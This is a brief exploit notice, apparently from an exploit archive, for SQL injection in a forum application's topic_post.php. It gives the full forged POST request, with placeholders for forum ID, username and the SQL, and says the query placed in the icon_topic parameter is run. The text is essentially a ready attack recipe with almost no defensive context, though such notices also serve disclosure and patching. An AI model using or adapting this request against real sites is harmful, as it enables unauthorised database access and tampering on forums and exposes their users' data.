--------------------- EXPLOIT ---------------------

Submit a forged POST request to

topic_post.php?action=post&fid={forum ID here}

With the following as the POST data:

form_sent=1&form_user={username
here}&req_subject=Subject&req_message=Message&submit=1&icon_topic=[SQL]

Successful exploitation leads would lead to the SQL query in the
icon_topic
parameter being run.